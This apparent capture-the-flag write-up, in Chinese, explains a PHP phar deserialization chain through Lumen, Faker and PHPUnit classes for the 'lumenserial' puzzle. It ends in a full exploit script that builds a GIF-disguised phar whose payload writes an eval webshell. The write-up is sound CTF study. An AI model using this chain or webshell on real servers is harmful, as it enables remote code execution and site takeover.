code-breaking - lumenserial
赛题地址: https://code-breaking.com/puzzle/7/
这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
导致找利用的时候需要一个品相特别好的利用链，P师傅是寻找到了一个***(暂时保密)的点，我依据call_user_func_*方面找了一些利用
这题用的是ueditor，存在远程下载的功能
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
这里面其实按理`getimagesizefromstring`也是可以利用phar，不过file_get_contents中的url更好利用一点
POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1
Host: 51.158.73.123:8080
寻找gadget
phar反序列化第一步主要找两个魔术方法入口: __destruct|__wakeup
1、Illuminate\Broadcasting::__destruct
namespace Illuminate\Broadcasting{
class PendingBroadcast{
public function __destruct(){
$this->events->dispatch($this->event);
}
}
}
在这里可以通过给$this->events存放其他类从而调用其他类的__call方法
2、Faker\ValidGenerator::__call
namespace Faker{
class ValidGenerator{
public function __call($name, $arguments){
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
die('error');
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
}
这个是整个的利用核心，因为__call魔术方法调用过来的参数只有$this->event一个，所以这导致你只能给其他函数传一个参数，没有了命令函数、php7版本的问题(assert成为语言结构，很多函数不能动态调用)导致需要完全控制参数才行.
array(
0 => $argv
)
在上面的代码中，先通过call_user_func_array调用，然后其结果作为后面的call_user_func的参数
ven师傅复现的时候才发现少写了一步
在上面的$res = call_user_func_array(array($this->generator, $name), $arguments);中看到，$name传过来一个dispatch
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
Faker\Generator::dispatch不存在就会调用Faker\Generator::__call，然后就会调用$this->format($method, $attributes);
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
这个时候$formatter就是dispatch，也就是会从array("dispatch"=> array($s4_obj, "getFormatter"));中拿到了array($s4_obj, "getFormatter")
$s4_obj为新的一个Faker\Generator，目的就是为了调用它的getFormatter，这里面我总共是使用了两次Faker\Generator
3、Faker\Generator::getFormatter (解决call_user_func的参数控制)
namespace Faker{
class Generator{
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
}
}
可以看到这里面getFormatter会返回$this->formatters[$formatter]，也就是Faker\ValidGenerator::__call中第二个call_user_func的参数得到了解决，因为它可以完全被控制
$this->formatters = [
"exploit" => ["/var/www/html/1.php","aaaa"]
];
4、(进行最终的exploit攻击)
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback implements Stub{
public function invoke(Invocation $invocation){
return \call_user_func_array($this->callback, $invocation->getParameters());
}
}
}
其中Invocation是一个接口，所以找到具体的类即可
namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
public function getParameters(): array{
return $this->parameters;
}
}
}
可以看到最后进入PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke的$this->callback，$invocation->getParameters()都是可控的
exploit
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Faker{
class Generator{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator, $maxRetries = 10000){
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct($parameters){
$this->parameters = $parameters;
}
}
}
namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
public function __construct($callback){
$this->callback = $callback;
}
}
}
# exp func call
namespace{
$exp_func = "file_put_contents";
$exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")];
$exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args);
$exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func);
$tmp_arr = ["gogogo" => $exp_args_obj];
$s4_obj = new Faker\Generator($tmp_arr);
$get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter"));
$s3_obj = new Faker\Generator($get_func_arr);
$s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2);
$s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo");
echo urlencode(serialize($s1_obj))."\n\r\n\r";
$p = new Phar('./exploit.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($s1_obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}
